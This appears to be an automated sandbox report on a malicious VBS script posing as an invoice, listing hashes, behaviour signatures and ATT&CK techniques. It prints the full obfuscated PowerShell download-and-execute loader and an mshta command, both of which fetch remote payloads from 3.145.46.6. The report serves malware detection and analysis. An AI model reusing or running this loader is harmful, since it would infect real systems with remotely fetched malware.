adf6d30e5c3767c268a66aa887dff2ebe4d0295c49c9bc42d343b6dd0e707825

General

Target

GBTVHWQCB_INVOICE#07JDKAS.vbs
Size

4KB
MD5

d546eb292c17626af658e34ffa402e47
SHA1

f0a379ae37a860a6c082464f4a41cd474a5f4cbe
SHA256

adf6d30e5c3767c268a66aa887dff2ebe4d0295c49c9bc42d343b6dd0e707825
SHA512

e15402e69ca3e2391a63fec1a718524bc0841e49b0c954162696d96cd11c04d82a5daad52a5fafe1c9101922ab0cc3bd26892038d8ae4f6cd1c9220634b37048

Score

10^/10

Malware Config

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1384	268	msHta.exe	27

Blocklisted process makes network request 1 IoCs

flow	pid	Process
4	1384	msHta.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Modifies Internet Explorer settings 1 TTPs 1 IoCs

adware spyware

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-3846991908-3261386348-1409841751-1000\Software\Microsoft\Internet Explorer\Main	msHta.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
1064	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	1064	powershell.exe

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 1384 wrote to memory of 1064	1384	msHta.exe	31
PID 1384 wrote to memory of 1064	1384	msHta.exe	31
PID 1384 wrote to memory of 1064	1384	msHta.exe	31

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\GBTVHWQCB_INVOICE#07JDKAS.vbs"
1⤵
PID:1340

C:\Windows\system32\msHta.exe
msHta.exe Http://3.145.46.6/K/EncKAO.txt
1⤵
- Process spawned unexpected child process
- Blocklisted process makes network request
- Modifies Internet Explorer settings
- Suspicious use of WriteProcessMemory
PID:1384
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $HCNPXUQJCLATJSNVPNHGASK = '[*4@!-95&[27011]{{<!4(}y*4@!-95&[27011]{{<!4(}t3{{!{39=335@-#%2^${![292#\&3/-4=3%^]+\@8_#2}.IO.*4@!-95&[27011]{{<!4(}t()&/@+/6!@3=1*&#^285<53{{!{39=335@-#%2^${![25_8%0=^\09<276{[=(-\-{92#\&3/-4=3%^]+\@8_#2}()&/@+/6!@3=1*&#^285<53{{!{39=335@-#%2^${![25_8%0=^\09<276{[=(-\-{d3{{!{39=335@-#%2^${![2()&/@+/6!@3=1*&#^285<5]'.Replace('*4@!-95&[27011]{{<!4(}','S').Replace('3{{!{39=335@-#%2^${![2','E').Replace('()&/@+/6!@3=1*&#^285<5','R').Replace('5_8%0=^\09<276{[=(-\-{','A').Replace('92#\&3/-4=3%^]+\@8_#2}','M');$HWBPFQSKIJPSNVWGRPDVWTQ = ($HCNPXUQJCLATJSNVPNHGASK -Join '')|&('I'+'EX');$HVVGCGZUOWJPPVKKFNXPRYX = '[-<@!(_!_@2#@@73#6#<*68y-<@!(_!_@2#@@73#6#<*6834^%[/28$^_^1)_+%&$}{2/=+\6{8&8!=%9$&6%0#$!1m.N/=+\6{8&8!=%9$&6%0#$!134^%[/28$^_^1)_+%&$}{2.W/=+\6{8&8!=%9$&6%0#$!1bR/=+\6{8&8!=%9$&6%0#$!1qu/=+\6{8&8!=%9$&6%0#$!1-<@!(_!_@2#@@73#6#<*6834^%[/28$^_^1)_+%&$}{2]'.Replace('-<@!(_!_@2#@@73#6#<*68','S').Replace('/=+\6{8&8!=%9$&6%0#$!1','E').Replace('34^%[/28$^_^1)_+%&$}{2','T');$HZSWCZCRBXDIWQKWTESQTIY = ($HVVGCGZUOWJPPVKKFNXPRYX -Join '')|&('I'+'EX');$HFJRRSZDESQZWRCXANLTRDS = '\=)9&+81%{23</-^[/=-[6r7-{)&9)1(!_(2]+86%-(=5a+8#6&}]%/5}-^]%]5<#$7+7-{)&9)1(!_(2]+86%-(=5'.Replace('\=)9&+81%{23</-^[/=-[6','C').Replace('7-{)&9)1(!_(2]+86%-(=5','E').Replace('+8#6&}]%/5}-^]%]5<#$7+','T');$HWCLNHXSDRQHGEGSDTPUANI = '$#][}(-9<9$33&7@-{54#^-0@}{9!{69/<}19_19+_5&tR-0@}{9!{69/<}19_19+_5&0$}\+-8(030\)(%<}^/736pon0$}\+-8(030\)(%<}^/736-0@}{9!{69/<}19_19+_5&'.Replace('$#][}(-9<9$33&7@-{54#^','G').Replace('-0@}{9!{69/<}19_19+_5&','E').Replace('0$}\+-8(030\)(%<}^/736','S');$HUNOTPOSFQRHVLUSSYXPQCA = 'G_]@_61$7+/%50=7%)5}$+*t(#(&<<]#_^68#}}%]-#61#_]@_61$7+/%50=7%)5}$+*43=743-[#=!81/<[(**(<[pon43=743-[#=!81/<[(**(<[_]@_61$7+/%50=7%)5}$+*43=743-[#=!81/<[(**(<[t(#(&<<]#_^68#}}%]-#61#_]@_61$7+/%50=7%)5}$+*am'.Replace('43=743-[#=!81/<[(**(<[','S').Replace('_]@_61$7+/%50=7%)5}$+*','E').Replace('(#(&<<]#_^68#}}%]-#61#','R');$HHGZUQOYZVBAZGKFOKONHQP = '{[)9)4\#-&640<2_1%000//30#)6832^&7)=]=!{%8-_a20&[#8=\]=4}\*/8^-5_^+To/30#)6832^&7)=]=!{%8-_n20&[#8=\]=4}\*/8^-5_^+'.Replace('{[)9)4\#-&640<2_1%000/','R').Replace('/30#)6832^&7)=]=!{%8-_','E').Replace('20&[#8=\]=4}\*/8^-5_^+','D');&('I'+'EX')($HWBPFQSKIJPSNVWGRPDVWTQ::new($HZSWCZCRBXDIWQKWTESQTIY::$HFJRRSZDESQZWRCXANLTRDS('HttP://3.145.46.6/K/ServerFAH.txt').$HWCLNHXSDRQHGEGSDTPUANI().$HUNOTPOSFQRHVLUSSYXPQCA()).$HHGZUQOYZVBAZGKFOKONHQP())
  2⤵
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1064

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

1

T1112

Credential Access

Discovery

System Information Discovery

1

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/1064-55-0x000007FEEF050000-0x000007FEEFBAD000-memory.dmp

Filesize
11.4MB

Download
memory/1064-57-0x0000000002380000-0x0000000002382000-memory.dmp

Filesize
8KB

Download
memory/1064-56-0x000007FEF3DEE000-0x000007FEF3DEF000-memory.dmp

Filesize
4KB

Download
memory/1064-58-0x0000000002382000-0x0000000002384000-memory.dmp

Filesize
8KB

Download
memory/1064-59-0x0000000002384000-0x0000000002387000-memory.dmp

Filesize
12KB

Download
memory/1064-60-0x000000001B860000-0x000000001BB5F000-memory.dmp

Filesize
3.0MB

Download
memory/1064-61-0x000000000238B000-0x00000000023AA000-memory.dmp

Filesize
124KB

Download
memory/1384-53-0x000007FEFC261000-0x000007FEFC263000-memory.dmp

Filesize
8KB

Download

Analysis

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